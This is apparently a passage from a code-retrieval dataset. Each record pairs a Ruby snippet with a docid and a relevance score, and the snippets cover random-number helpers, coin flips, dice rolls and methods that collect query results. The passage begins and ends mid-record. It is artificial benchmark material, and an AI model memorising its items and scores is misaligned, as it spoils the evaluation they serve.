CX::Random.instance.choice(self)\n end", "title": "" }, { "docid": "6fdcbe326cfeeb662aa4ac80a6456adf", "score": "0.56879497", "text": "def random\n Kernel.rand\n end", "title": "" }, { "docid": "48763827a1c00d03d507d0a57d81e8b4", "score": "0.56714314", "text": "def sutter_creek_mine\r\n\t@current_gold = rand(3)\r\n\t@current_silver = 0\r\n\tadd_to_bag\r\n end", "title": "" }, { "docid": "7630ff63ed5bc2b41525bdd0e777bb7a", "score": "0.564983", "text": "def pick_random\n self[rand(self.size)]\n end", "title": "" }, { "docid": "688320ffa3afeef41a3856acf1c2a816", "score": "0.5649535", "text": "def roll\n # First roll a die with homogenous distribution: \n n = rand(sides)\n # And now a biased coin with prob(head) == @prob[n]\n return n if rand() < @prob[n]\n return @alias[n]\n end", "title": "" }, { "docid": "b0a7cced3cb5378e81ac3fbdbb11ab38", "score": "0.5642938", "text": "def initialize\n @balance=rand(100...1000)\n end", "title": "" }, { "docid": "4abe1d5aa7d919bd699ea32efc59b4fb", "score": "0.56394994", "text": "def roll\n @randomize_count += 1\n @result = 1 + rand(@sides)\n self\n end", "title": "" }, { "docid": "d83b66fda1925af79d2512686f7077cb", "score": "0.56333226", "text": "def rand2; rand(3); end", "title": "" }, { "docid": "7d70bde53ca8654123261c1fde90abd2", "score": "0.56332725", "text": "def random_rand\n Random.rand\n end", "title": "" }, { "docid": "ef6de98ac6253f971f791b156116aefa", "score": "0.56295437", "text": "def clone\n PoolOfEntropy::CorePRNG.new(size, state, mix_block_id)\n end", "title": "" }, { "docid": "dfb19aedd62a4ebe8c99ab012a78147b", "score": "0.5626631", "text": "def name\n coin.name\n end", "title": "" }, { "docid": "9a6bd55f6453a14ea0d507fb39e84e32", "score": "0.5605353", "text": "def coin_flip\n COIN_SIDES.sample\nend", "title": "" }, { "docid": "209ee32f9ff29d2825d5a177f0fec780", "score": "0.5592104", "text": "def choice\r\n return self.clone if self.mask_addr == 0xFFFFFFFF\r\n\r\n span = self.top.to_i - self.bottom.to_i\r\n x = self.clone\r\n x.set_int(self.bottom.to_i + rand(span))\r\n return x\r\n end", "title": "" }, { "docid": "d2bd76d45e585fe47e63815ab2b86aab", "score": "0.5590083", "text": "def random\n self[rand(size)]\n end", "title": "" }, { "docid": "1f14e078545a2120f66463989bda5db0", "score": "0.5584936", "text": "def randomize\n raise NotImplementedError\n end", "title": "" }, { "docid": "b4a7d043130ad09d4a7ae7ff822e7121", "score": "0.5582138", "text": "def return_coins\n user.increase_coins(coins)\n self.reset_coins\n end", "title": "" }, { "docid": "e746fecd55a1a0780bca55286aceecda", "score": "0.5577102", "text": "def rand(max=0)\n churn.rand(max)\n end", "title": "" }, { "docid": "43df562ba31f4014f75be234e421eada", "score": "0.5566706", "text": "def rand\n self[rand_int(self.size)]\n end", "title": "" }, { "docid": "52ea352bec1e0fcf91b6d0583a3c883f", "score": "0.55463856", "text": "def getWoolBlockWithRandomColour()\n #Generate a random number within the allowed range of colours (0 to 15 inclusive)\n randomNumber = rand(16)\n puts(\"random number to be used = #{randomNumber}\")\n block = WOOL.withData(randomNumber)\n return block\nend", "title": "" }, { "docid": "15d31df12213ec42322c93c5214c1dd6", "score": "0.55445325", "text": "def deal\n rand(1..11)\nend", "title": "" }, { "docid": "893de2addc38246dbeb0dcabdc9b0919", "score": "0.554436", "text": "def all_coins\n @all_coins ||= generate_coin_list\n end", "title": "" }, { "docid": "28f91612871a65e4bd5d86c81d5419e1", "score": "0.5542674", "text": "def coin_account\n @coin_account if @coin_account\n @coin_account = Coin::Account.new(username)\n end", "title": "" }, { "docid": "15249facc4aec6c21286205aea44987b", "score": "0.5529985", "text": "def pick(secure=false)\n @secure_random ||= (RUBY_VERSION < \"1.9\") ? ActiveSupport::SecureRandom : SecureRandom\n self[secure ? @secure_random.random_number(size) : Kernel.rand(size)]\n end", "title": "" }, { "docid": "d6d50e050126c628fbe2276651adfb1d", "score": "0.55272335", "text": "def randomize!\n self.replace(self.randomize)\n end", "title": "" }, { "docid": "99ae8015e7353c62753d9e77d5b99ae0", "score": "0.5526066", "text": "def randomize\n\n end", "title": "" }, { "docid": "2f0497bd98683264f7bc034cedcea882", "score": "0.5523462", "text": "def random!(*args)\n return _random!(0, *args) if args.size == 1\n _random!(*args)\n end", "title": "" }, { "docid": "1701d798baa919776bd6cd38af5aba3c", "score": "0.5514694", "text": "def random\n @quote = Quote.random\n render \"show\"\n end", "title": "" }, { "docid": "de123bd4a7fb3fdd5b3a20e217243c2a", "score": "0.55040723", "text": "def value()\n return rand() ;\n end", "title": "" }, { "docid": "fa9b11cbd64a97167964b6dcfa092f38", "score": "0.5503489", "text": "def _rand\n\t\tself[rand(length)]\n\tend", "title": "" }, { "docid": "60e1a87c74201a1a40a4336ab68378cf", "score": "0.5499771", "text": "def randomize!\n self.replace(self.randomize)\n end", "title": "" }, { "docid": "c6d51d0131ebbba4e2814fd9c987fca8", "score": "0.5495807", "text": "def Coin &flip\n -> (history) do\n extended = {}\n flip.call(history).each do |result, prob|\n extended[ history + [result] ] = prob\n end\n Probably.new extended\n end\nend", "title": "" }, { "docid": "c724cbf8201f130ed92ccee0150eaf44", "score": "0.5488473", "text": "def sample_random\n rand(0..100)\n end", "title": "" }, { "docid": "eaabe20450ad692330a4ee103e657dcf", "score": "0.5485056", "text": "def mutate()\n Chromosome.new(@value + RNG::rand(-1.0 .. 1.0))\n end", "title": "" }, { "docid": "0463644852ae4e6e7bc7e4e52d06d301", "score": "0.5475247", "text": "def make_bet\n #TODO: strategic, semi-random bet based on hand and cash\n @bet = @min_bet\n end", "title": "" }, { "docid": "27a94f858a9f9369a919051ae0e4d40e", "score": "0.54668105", "text": "def get_card\n rand(10) + 1\nend", "title": "" }, { "docid": "4f91d6e9e6690a7b05b6000b676bb058", "score": "0.5465526", "text": "def randomize(hash = nil)\n length = self.length\n if hash\n count = hash.clone\n count.each_value {|x| length += x}\n else\n count = self.composition\n end\n\n seq = ''\n tmp = {}\n length.times do \n count.each do |k, v|\n tmp[k] = v * rand\n end\n max = tmp.max {|a, b| a[1] <=> b[1]}\n count[max.first] -= 1\n\n if block_given?\n yield max.first\n else\n seq += max.first\n end\n end\n return self.class.new(seq)\n end", "title": "" }, { "docid": "7a2070ecb41b79f06eb8c80ffd02c181", "score": "0.54583293", "text": "def randomize\n end", "title": "" }, { "docid": "8af1904e461feefd485c7d568ad64cb7", "score": "0.5450665", "text": "def throw_a_coin\n @user.say ['Heads win', 'Tails win'].sample\n false\nend", "title": "" }, { "docid": "359536227914069c52447ba903ba45f1", "score": "0.54483926", "text": "def rand\n defined_as :Object_rand\n returns Float\n end", "title": "" }, { "docid": "a80a44493e6e8de01f8a7fef4c6ea4ff", "score": "0.54371583", "text": "def coin_flipper\n randome_number = rand(1..100)\n puts 'Flipping Coin'\n puts '.............'\n puts '.............'\n puts '.............'\n if randome_number.even?\n puts \"#{player.player[0][:name]} Starts First\"\n else\n puts \"#{player.player[1][:name]} Starts First\"\n player.player.reverse!\n end\n @current_player = player.player[0]\nend", "title": "" }, { "docid": "9abef7d0f077d97456ac3ec912d93c97", "score": "0.54359853", "text": "def choose_price\n @min + rand(@max - @min)\n end", "title": "" }, { "docid": "1de837c51d100e9804cc1f8bc33667b5", "score": "0.54145813", "text": "def random\n rand(1..100)\nend", "title": "" }, { "docid": "51d268bb75776bbc1f1f231d8d479ae6", "score": "0.5407487", "text": "def randomize!\n self.replace(randomize)\n end", "title": "" }, { "docid": "e8b35e96827c1d248e4c1b24e556bf20", "score": "0.5395392", "text": "def mate (p1, p2)\n srand\n\n # If the random number 0 < rand < 1 is less than the RATE, then crossover,\n # else just copy the parents directly to the children\n if (rand < CROSSOVER_RATE) then\n (c1, c2) = crossover(p1, p2)\n else \n c1 = p1\n c2 = p2\n end\n\n c1 = mutate(c1)\n c2 = mutate(c2)\n\n return [c1, c2]\n end", "title": "" }, { "docid": "aa45139a8ece96bfb34b0825906518a2", "score": "0.53944844", "text": "def amount\n @amount || get_random_amount\n end", "title": "" }, { "docid": "518dfe56e5a78b97d1f9913a8510b27f", "score": "0.5392207", "text": "def ruby_rand\n rand * 100\n end", "title": "" }, { "docid": "28c813546066e3094577f6424200d42f", "score": "0.53905", "text": "def rand_back(_amount = nil)\n #This is a stub, used for indexing\nend", "title": "" }, { "docid": "fac00609224b27eef393a7e111da6a92", "score": "0.5383138", "text": "def flip\n return rand(2)\nend", "title": "" }, { "docid": "ba7515306112237d27c0752e808ecdf2", "score": "0.53813916", "text": "def randomize\n self.sort_by { rand }\n end", "title": "" }, { "docid": "4fcf34b71016fda97086542e18a390e4", "score": "0.5372257", "text": "def random\n self[Random.rand(size)]\n end", "title": "" }, { "docid": "39cdcf3e5ca8fd6d632ee711864f9a28", "score": "0.53718865", "text": "def roll(save=false)\n result = rand(1..@sides)\n @last_result = result if save\n\n result\n end", "title": "" }, { "docid": "75917c32b9ec44aff4733df02411acf7", "score": "0.537132", "text": "def return_coin(coin)\n return \"This coin is invalid: #{coin.weight}\"\n end", "title": "" }, { "docid": "9bc4d2524fa1d4ae25bd1e20a2d1af31", "score": "0.5363595", "text": "def randblock()\n return SecureRandom.random_bytes(SecureRandom.random_number(16))\n end", "title": "" }, { "docid": "56dbe330e58337c8424c4720fe64156f", "score": "0.5358749", "text": "def random!\n new_rank = rand(last + 1).to_i\n self.rank = new_rank\n self\n end", "title": "" }, { "docid": "da553f0f68417119b24ac86be307d56b", "score": "0.53564686", "text": "def nostalgia; return rand end", "title": "" }, { "docid": "5378692c8928b9248d95bbd3064e3235", "score": "0.53538805", "text": "def random\n self[ OpenSSL::Random.random_bytes(4).unpack(\"L\")[0] % self.size ] if self.size > 0\n end", "title": "" }, { "docid": "4b491f121e17e27a1fd28ee88115a8c2", "score": "0.53491026", "text": "def deal_card\n rand(1..11)\nend", "title": "" }, { "docid": "00f91479761977b06b2e3320645b8df9", "score": "0.53475857", "text": "def random_modifier\n rand 0..25\n end", "title": "" }, { "docid": "31124477b17b2f6ff59f9a7d0332bb0e", "score": "0.5347329", "text": "def clamped_rand\n 2 * rand - 1\n end", "title": "" }, { "docid": "85b08ef87499b9218962e8e6674f1ef6", "score": "0.53459454", "text": "def coin(n)\n\tbenefit = 0\n\taverageBenefit = 0\n\tfor i in 0 .. n\n\t\tbinary = 0\n\t\thead=0\n\t\ttail=0\n\t\ttry=0\n\t\twhile (head-tail).abs != 3 do \n\t\t\tbinary = Random.rand(1..2)\n\t\t\t#puts binary\n\t\t\tif binary == 1 \n\t\t\t\thead += 1\n\t\t\telse \n\t\t\t\ttail += 1\n\t\t\tend \n\t\t\ttry += 1\n\t\tend\n\t\tbenefit += 8.0 - try\n\tend \n\taverageBenefit = benefit/n\n\treturn averageBenefit\nend", "title": "" }, { "docid": "f226d31dc368275486c2356e048fdea3", "score": "0.53445715", "text": "def shuffle!( random_number_generator = nil )\n\n return self\n\n end", "title": "" }, { "docid": "df7d2241098f45e43de378dd0f78c59e", "score": "0.5343325", "text": "def mutate_bit codon\n return super if @bucket.nil?\n codon ^ (2 ** @random.rand( @bit_size + @max_closure.to_s(2).size-1 ))\n end", "title": "" }, { "docid": "06e17cec5b464f13167b5db88f004107", "score": "0.53432757", "text": "def by_random\n\n end", "title": "" }, { "docid": "ca64872c99702ce7b4d0f66466682eb9", "score": "0.53418475", "text": "def create_new_salt\r\n return self.salt = self.object_id.to_s + rand.to_s\r\n end", "title": "" } ]
a85eba5c0ce656aaba502066300df8f4
and returns an array of their results.
[ { "docid": "882427d348b621c0cbe6ec4490d7befe", "score": "0.0", "text": "def reverse_map(*array,&block)\n\tarray.reverse.map(&block)\nend", "title": "" } ]
[ { "docid": "2df1c1bc185f342fbcd6f01d28f4c909", "score": "0.8120073", "text": "def results\n\t\t\tArray(result)\n\t\tend", "title": "" }, { "docid": "32e343d4218f5ce01e3a65e98fc73745", "score": "0.76382685", "text": "def get_all_results\n\t\tresult_array = []\n\t\tskip = 0\n\t\ttake = 1000\n\t\tloop do\n\t\t\tcurrent_result = get_data_from_result(execute_request(take, skip)[1])\n\t\t\tresult_array.concat(current_result)\n\t\t\tskip = skip + take\n\t\t\tbreak if current_result.size != take\n\t\tend\n\t\treturn result_array\n\tend", "title": "" }, { "docid": "9360739e29807be5dabc29df66688dc9", "score": "0.7517636", "text": "def results\n @results\n end", "title": "" }, { "docid": "f9854228c81bad705e93e69060bd03c9", "score": "0.7497607", "text": "def results\n numOfSearches = numEvents / @OFFSET #the number of searches we must make to return all values\n result = Array.new\n if (complete?)\n for i in 0..numOfSearches\n result.push( @client.get_request(\"/services/search/jobs/#{@sid}/results\", {'output_mode' => @OUTPUT_MODE, 'count' => @OFFSET, 'offset' => (@OFFSET * i)}))\n end\n end\n result\n end", "title": "" }, { "docid": "ce4df314019a0e23adc3aeea851f36c3", "score": "0.7494313", "text": "def to_a\n return @results\n end", "title": "" }, { "docid": "6e4bf3a67e1303a5f396679d04e733c7", "score": "0.74505746", "text": "def results\n raise NotImplementedError\n end", "title": "" }, { "docid": "150d3cb430f6e51627e6d26860cb51ec", "score": "0.7403108", "text": "def results; end", "title": "" }, { "docid": "150d3cb430f6e51627e6d26860cb51ec", "score": "0.7403108", "text": "def results; end", "title": "" }, { "docid": "150d3cb430f6e51627e6d26860cb51ec", "score": "0.7403108", "text": "def results; end", "title": "" }, { "docid": "4ab656a27982d4d9e427e7af8d4a9a65", "score": "0.73534083", "text": "def results\n arr = []\n flag = 0 # iteration flag\n @obj['results'].each do |data|\n arr[flag] = Spreader::Bot.new(data)\n flag += 1\n end\n arr\n end", "title": "" }, { "docid": "022bbaef46f4eb7afcfff30b3f7f4365", "score": "0.73391205", "text": "def results\n output = Array.new(size)\n cur = 0\n @data['results'].each do |e|\n output[cur] = DBLRuby::Bot.new(data: e)\n cur += 1\n end\n output\n end", "title": "" }, { "docid": "8355ea8f9f0fff6b76a027b6e8044948", "score": "0.7248286", "text": "def get_results\n response = @api.get(@cloud.url(:result, @process_id), no_callbacks: true, token: @cloud.access_token.token)\n @results = []\n response.each do |res|\n @results.push(CopyleaksApi::ResultRecord.new(res))\n end\n @results\n end", "title": "" }, { "docid": "e383e361c7ecf4a29588f26904d02fa9", "score": "0.7128416", "text": "def array_result\n [@result['results']].flatten\n end", "title": "" }, { "docid": "bf83a871eea413f53f8af7e2129d2a76", "score": "0.70837367", "text": "def results\n fetch unless @results\n @results\n end", "title": "" }, { "docid": "e0170b6deda5cdaaca46a63a3d47b9e8", "score": "0.7070325", "text": "def results\n populate\n @results\n end", "title": "" }, { "docid": "13a4dc27520990eba0b155c94121009f", "score": "0.7025513", "text": "def results\n @dataset.all\n end", "title": "" }, { "docid": "9990c73ef20d26a2a5787f3054904338", "score": "0.7012011", "text": "def raw_results\n results\n end", "title": "" }, { "docid": "1b8e7eca543239c1ff24fe0bb155ee84", "score": "0.69802636", "text": "def results\n @results ||= with_hit.map(&:first)\n end", "title": "" }, { "docid": "4da2529ecab06364545332cdc5a2144f", "score": "0.6973119", "text": "def collect_results(method, args) # :nodoc:\n results = []\n send(method, args) do |*result|\n results << result\n end\n results\n end", "title": "" }, { "docid": "b5f9ab89200d0bef357f1863dc690969", "score": "0.6903836", "text": "def results\n unless errors\n if total_results_returned == 1\n [Yahoo::SE::Result.new(self.to_json[\"ResultSet\"][\"Result\"])]\n elsif total_results_available == 0\n []\n else\n self.to_json[\"ResultSet\"][\"Result\"].map do |result_hash|\n Yahoo::SE::Result.new(result_hash)\n end\n end\n end\n end", "title": "" }, { "docid": "bef86e40721cbff544be172f15db8e7c", "score": "0.688151", "text": "def all\n load[:results]\n end", "title": "" }, { "docid": "ad28b12789a251912c8b3faa24107578", "score": "0.6836705", "text": "def results\n if Gem.loaded_specs['simplecov'].version >= Gem::Version.new('0.19')\n ::SimpleCov::Result.from_hash(resultset)\n else\n array = []\n resultset.each do |command_name, data|\n array << ::SimpleCov::Result.from_hash(command_name => data)\n end\n array\n end\n end", "title": "" }, { "docid": "275667a21fbce990bd18830ed531d77c", "score": "0.6823138", "text": "def rally_results_to_array(results)\n\t\tarr = []\n\t\tresults.each { |result|\n\t\t\tarr.push(result)\n\t\t}\n\t\tarr\n\tend", "title": "" }, { "docid": "d20f927f3aa5b104e157738efb6d5a4b", "score": "0.67750347", "text": "def get_results\n\n # An internal counter to get the next\n # set of results from the API\n @result_count = 0\n\n # An array into which the API results can\n # be collected\n @results = []\n\n # Get the first set of results from the API\n json_response = self.query\n\n while true\n\n # Exit the loop if the API doesn't return\n # any results and set the \"skip\" attribute\n # to nil\n if json_response['result_count'] == 0\n self.skip= nil\n break\n end\n\n # Add the count of the returned results to the\n # internal result counter's current value\n @result_count += json_response['result_count']\n\n # Append the current results to the results\n # array\n @results << json_response['results']\n\n # Set the \"skip\" attribute to the value\n # on the internal result counter\n self.skip= @result_count\n\n # Get the next set of results from the API\n json_response = self.query\n\n # A simple progress bar\n print \"#\"\n\n end\n\n # Print the total result count to the console\n puts \"\\nFound #{@result_count} results.\"\n\n return @results\n\n end", "title": "" }, { "docid": "695e446453f934d85efe7ad1786320da", "score": "0.67625934", "text": "def results\n# not_observed, no_relation, shows_progress, meets_standard, exceeds_standard\n# For Plan, Presentation, Activity, Assessment, Climate\n results = [[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0]]\n \n # If application Complete (no section is nil)\n if (completed)\n (0..4).each do |i|\n results[0][i] += plan.planResults[i] \n results[1][i] += presentation.presentationResults[i] \n results[2][i] += activity.activityResults[i] \n results[3][i] += assessment.assessmentResults[i] \n results[4][i] += climate.climateResults[i]\n end\n end\n \n return results\n end", "title": "" }, { "docid": "deff53d8544d8e2fe98021584dc40265", "score": "0.67436415", "text": "def results\n get_domain_data\n end", "title": "" }, { "docid": "553284e9fa18e352920c6df4a1ebdf9b", "score": "0.6732388", "text": "def results\n index.results\n end", "title": "" }, { "docid": "cfe583c5c8f567945d64846b9763ff51", "score": "0.6677235", "text": "def results\n @mutex.synchronize do\n resolvables = @resolvables\n @resolvables = []\n return resolvables\n end\n end", "title": "" }, { "docid": "f1a68d9efff862e598a212166b8923d0", "score": "0.664432", "text": "def results\n documents\n end", "title": "" }, { "docid": "825ebe0f4be267caaa88da12b42ba0ca", "score": "0.6633885", "text": "def all\n results_from(response)\n end", "title": "" }, { "docid": "38d4fd1f23dab3cb472f2dd6e3f5a051", "score": "0.6632943", "text": "def all\n response = RestClient.get(@all_url, params)\n parsed = JSON.parse(response)\n \n parsed['results']['result']\n end", "title": "" }, { "docid": "2e56e14e931435560d83e535fad1ceab", "score": "0.6610188", "text": "def process_results (results)\n\t\t\tresults.each do |result|\n\t\t\t\tresult = process_result(result)\n\t\t\tend\n\t\t\treturn results\n\t\tend", "title": "" }, { "docid": "02f344be99d1328aa7cebdfd541b9f81", "score": "0.6601924", "text": "def results\n response['data']\n end", "title": "" }, { "docid": "397ee627353af71919886d262b56d1f8", "score": "0.65998065", "text": "def results\n @results ||= Results.new(klass, self)\n end", "title": "" }, { "docid": "bee7482103bda3b0a0aa409b0b153063", "score": "0.6578463", "text": "def results\n @results ||= Results.new(self)\n end", "title": "" }, { "docid": "9363134c0afea25fbf2b9e042bf7bba5", "score": "0.65514916", "text": "def results\n @results ||= {}\n end", "title": "" }, { "docid": "2d3594faf9610ae91204cb7f5c1ca3b9", "score": "0.6532363", "text": "def results\n content = Nokogiri::XML::Builder.new do |xml|\n xml.get_results(filter: \"first=1 rows=#{MAX_RESULTS} task_id=#{id}\", details: 1)\n end\n Hash.from_xml(@agent.sendrecv(content.to_xml)).deep_symbolize_keys\n end", "title": "" }, { "docid": "51456ab029776b0b5d3e22cf9cc088af", "score": "0.6531652", "text": "def result\n if success?\n results = to_hash['results'] || []\n count == 1 ? results.first : results\n else\n []\n end\n end", "title": "" }, { "docid": "560e1e6171564faf6f46c34c034bbb1b", "score": "0.65284806", "text": "def results\n return error if error?\n return response if response?\n end", "title": "" }, { "docid": "e8de7c07747b6a1c19ad8fc4f3a132b2", "score": "0.65236956", "text": "def results ; @@RESULT_DIRS.keys.map{ |k| result k }.compact ; end", "title": "" }, { "docid": "c9a613cbe86bf4b6e6e2509cba3be944", "score": "0.65136546", "text": "def results\n return error if error?\n response if response?\n end", "title": "" }, { "docid": "b31df4c2009396c9c1e9371380b7a8b0", "score": "0.6511623", "text": "def results\n meth = [kind.to_s, self.search_suffix].join.to_sym\n return([]) unless respond_to?(meth) # Ensure no hijackers.\n return([]) if q.nil?\n \n send(meth)\n end", "title": "" }, { "docid": "b2200352e85d52a961001b71e1df1e5d", "score": "0.6508543", "text": "def results_as_objects(results)\n array_of_objects = []\n results.each do |hash|\n array_of_objects << self.new(hash)\n end\n return array_of_objects\n end", "title": "" }, { "docid": "acc96f3ef333d0254e2f8ff7e666476e", "score": "0.6506207", "text": "def results_as_objects(results)\n results_as_objects = []\n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects \n end", "title": "" }, { "docid": "eccd6aee2154ad3776de9d3dc8088f76", "score": "0.6484283", "text": "def results\n @trackers.map(&:report)\n end", "title": "" }, { "docid": "833d5c520b479f3fa4257ddb18f375d0", "score": "0.64835435", "text": "def results\n d = data\n if d != nil and d.has_key?('results')\n return d['results']\n end\n nil\n end", "title": "" }, { "docid": "20cce23b21eadc1d243a1a390eab4685", "score": "0.6477222", "text": "def perform\n\tlinks = get_all_urls\n\tnames = get_names\n\temails = scrape_addresses(links)\n\tfinal_array = final_array_def(emails,names)\n\tputs final_array\nend", "title": "" }, { "docid": "d56ddb6f8d2dc08e8e5d23b0b6d2c076", "score": "0.6415396", "text": "def parse_results(results)\n out = []\n results = [results] if results.is_a?(Hash) # no array if only one result\n results.each do |r|\n out << Result.new(r)\n end\n out\n end", "title": "" }, { "docid": "00d787242d6dd1e603816ab6f4a7d7a1", "score": "0.6412265", "text": "def results(do_all=false)\n [].tap do |res|\n if do_all || term_matches.present?\n res << IndexedSearch::Match::Result.new(self, term_map, rank_multiplier, term_multiplier, limit_reduction_factor, type_reduction_factor)\n end\n end\n end", "title": "" }, { "docid": "9fa153b00284afb55e896ec3e45aff48", "score": "0.64074206", "text": "def results\n @@RESULT_DIRS.keys.map{ |k| result(k) }.reject{ |r| r.nil? }\n end", "title": "" }, { "docid": "f59e88a4cedb0be3291f3327d6ff5a04", "score": "0.640534", "text": "def output\n @results\n end", "title": "" }, { "docid": "6d1d605c885725a20396997b8eb3d48f", "score": "0.63888747", "text": "def to_a\n @result\n end", "title": "" }, { "docid": "6d1d605c885725a20396997b8eb3d48f", "score": "0.63888747", "text": "def to_a\n @result\n end", "title": "" }, { "docid": "c84157c8c94ef0c8e44e8c5860b9d5a8", "score": "0.6371112", "text": "def result_set\n klass.requestor.get(nil, { query: to_s })\n end", "title": "" }, { "docid": "00f4535203f9981f5daee91fb1ef4116", "score": "0.63570035", "text": "def results(order = keys)\n order.map { |key| @results[key] }\n end", "title": "" }, { "docid": "c0dcd1a5dcee75d032e0fd3da9ab3603", "score": "0.63535416", "text": "def collect_results(body)\n a = []\n body.scan(EX_RESULT) { |s| a << [$2, $1] }\n a\nend", "title": "" }, { "docid": "4b22a831e244c9b669d23188203ba76a", "score": "0.6353149", "text": "def get_results\n raise NotImplementedError.new\n end", "title": "" }, { "docid": "4e774b5b36d8987362d4a1149c9662ce", "score": "0.6303802", "text": "def results\n send_query\n end", "title": "" }, { "docid": "975e09f04a529cca30588cb5957d4e37", "score": "0.62955713", "text": "def results\n @scope.where(@scope.primary_key => @ids).to_a\n end", "title": "" }, { "docid": "ed7a0a8e613dcd00c19d61005d48ee7a", "score": "0.6290715", "text": "def to_a\n @test_results\n end", "title": "" }, { "docid": "a6e4956758fc75eb926f53121f25a1ad", "score": "0.62761295", "text": "def results(path, params = {}, opts = {})\n get(path, params, opts)['results']\n end", "title": "" }, { "docid": "58d3281164c9da1b3aea8c55cfd8a273", "score": "0.62447745", "text": "def all\n results = CONNECTION.execute(\"SELECT * FROM #{get_table_name}\")\n\n results_as_objects = []\n\n results.each do |results_hash|\n results_as_objects << self.new(results_hash)\n end\n\n return results_as_objects\n end", "title": "" }, { "docid": "b4b9bebe48acaf0f3c26dab40e30bf8d", "score": "0.6218662", "text": "def run(results)\n if(use_multiple?(results))\n results = run_multiple(results)\n else\n results = run_single(results)\n end\n return results\n end", "title": "" }, { "docid": "789be1cd0aa857a899c563d45f93df0d", "score": "0.6215643", "text": "def fetch_results!\n raise NoTargets if targets.empty?\n\n targets.uniq!\n\n puts 'searching the AUR...'\n results = Rpc.new(:multiinfo, *targets).call\n\n # we need the results in the order of our targets (so dependencies\n # are installed first). unfortunately, the rpc returns results\n # alphabetically. assumption is the reordering done here is\n # cheaper than making per-target rpc calls.\n targets.each do |target|\n if result = results.detect {|r| r.name == target}\n @results << result\n else\n raise NoResults.new(target)\n end\n end\n end", "title": "" }, { "docid": "8dee6ac9a2f12ee7299e1b3ea965f6ff", "score": "0.62146527", "text": "def process_query\n @results = str_to_obj.flatten.collect do |url|\n doc = Mechanize.new.get(url)\n els = doc.search(CGI.unescape(@xpath))\n els.map { |el| [el.text] }\n end\n @results = @results.flatten.map { |r| [r] }\n end", "title": "" }, { "docid": "df2ec3a794a5d2d48442dce94615087f", "score": "0.6214181", "text": "def results\n documents = [conditions, variables].any?(&:present?) ? IndexTankClient.new.search(conditions, variables) : []\n movie_results = documents.inject([]) do |movies, document|\n movies << Movie.convert_from_index_tank(document)\n end\n movie_results.sort_by(&:name)\n end", "title": "" }, { "docid": "c42d206a7828b63049c7924c6a6e6c58", "score": "0.62112445", "text": "def all\n return @data\n end", "title": "" }, { "docid": "c42d206a7828b63049c7924c6a6e6c58", "score": "0.62112445", "text": "def all\n return @data\n end", "title": "" }, { "docid": "1e69fc98dcd475e456a540cde3c08534", "score": "0.6210672", "text": "def arresult\n write_report(0x60, '$arresult?')\n read_multi.map { |record| ar(record) }.compact\n end", "title": "" }, { "docid": "6dfc1d55adb55c65fb69c809f9a83c64", "score": "0.62071437", "text": "def games\n self.results.map {|r|;r.game}\n end", "title": "" }, { "docid": "5d14267de52171f91e685a3bec4104c4", "score": "0.6198159", "text": "def resultset; end", "title": "" }, { "docid": "b50660105c47d9e6540723dc16f5e6b2", "score": "0.6195381", "text": "def results_list\n list = []\n begin\n self.spans(:class=>\"s3d-search-result-name\").each do |element|\n list << element.text\n end\n rescue\n list = []\n end\n return list\n end", "title": "" }, { "docid": "c83c09ec3fd810644a5c796bc1578bec", "score": "0.619274", "text": "def results\n results = result_maker(RACER_RECORDS)\n total_time = total_time_maker(RACER_RECORDS)\n @view.display_results(results, total_time)\n end", "title": "" }, { "docid": "22d1f4ccea685c5745de1090e2fd47db", "score": "0.61895704", "text": "def query_return_array(sql, *binds)\n mysql.fetch(sql, *binds).all\n end", "title": "" }, { "docid": "38ffc79f4c3fb40da266877da819b114", "score": "0.61854094", "text": "def results\n @results ||= paginate_collection(verified_hits.map { |hit| hit.instance })\n end", "title": "" }, { "docid": "38ffc79f4c3fb40da266877da819b114", "score": "0.61854094", "text": "def results\n @results ||= paginate_collection(verified_hits.map { |hit| hit.instance })\n end", "title": "" }, { "docid": "d2ca7135fb735641b96641a5862f664b", "score": "0.61828256", "text": "def raw\n results\n end", "title": "" }, { "docid": "564467193cc71115ee7e2e2309c78466", "score": "0.6177599", "text": "def results\n @solr_data[:docs]\n end", "title": "" }, { "docid": "d163a6a028f5eff7099e271d0031e6b3", "score": "0.6172464", "text": "def all\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results = CONNECTION.execute(\"SELECT * FROM #{table_name}\")\n # TODO put these lines back in and create another method to turn results_as_objects array of \n # objects in to array of hashes!!!!!!!\n results_as_objects = []\n\n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects\n end", "title": "" }, { "docid": "216620286db0fa20febc67e4f6d2b964", "score": "0.61627764", "text": "def queries\n qrs = []\n self.each_query {|qr| qrs << qr }\n qrs\n end", "title": "" }, { "docid": "9fe3bb4fbcf2ccf4039ce90d24617880", "score": "0.6162542", "text": "def results\n send_query\n end", "title": "" }, { "docid": "dd1cdf0da8f39fce189a06ffbeedf4bc", "score": "0.6142295", "text": "def results\n @solr_data[:docs]\n end", "title": "" }, { "docid": "a4f355405db96f491f6a79d8fc11e4dd", "score": "0.6140028", "text": "def fetch_all\n self.to_a\n end", "title": "" }, { "docid": "faed22116735642243cace4f1c6888a6", "score": "0.6131413", "text": "def valid_result_sets\n Array.new\n end", "title": "" }, { "docid": "f7aa18edced820f0399d94a69ad8d707", "score": "0.6128192", "text": "def results(client)\n @client = client\n\n res = @client.search\n collections = load_all(res.data.hits.hit.map(&:id))\n if @client.parameters[:size] && @client.parameters[:start]\n round_correct_page\n\n Nazrin.paginated_array(\n collections,\n current_page: @current_page,\n per_page: @client.parameters[:size],\n total_count: res.data.hits.found,\n last_page: @last_page)\n else\n collections\n end\n end", "title": "" }, { "docid": "a93ed5b73d34e048ecbdec0a833b2a16", "score": "0.6127975", "text": "def results\n begin\n self.to_json[\"SearchResponse\"][\"Web\"][\"Results\"].map do |result_hash|\n LiveAPI::Search::Result.new(result_hash)\n end\n rescue\n self.to_json[\"SearchResponse\"]\n end\n end", "title": "" }, { "docid": "4975e64f5c65e1d910e159edd96bfc42", "score": "0.6119076", "text": "def results_list\n list = []\n begin\n self.spans(:class=>\"s3d-search-result-name\").each do |element|\n list << element.text\n end\n rescue\n list = []\n end\n list\n end", "title": "" }, { "docid": "34156fe3660b0f445f53a0e6dcb87d57", "score": "0.6113042", "text": "def results\n if (@location_type == 'state')\n breweries = brewery_db.locations.all(region: @location)\n elsif (@location_type == 'postal')\n breweries = 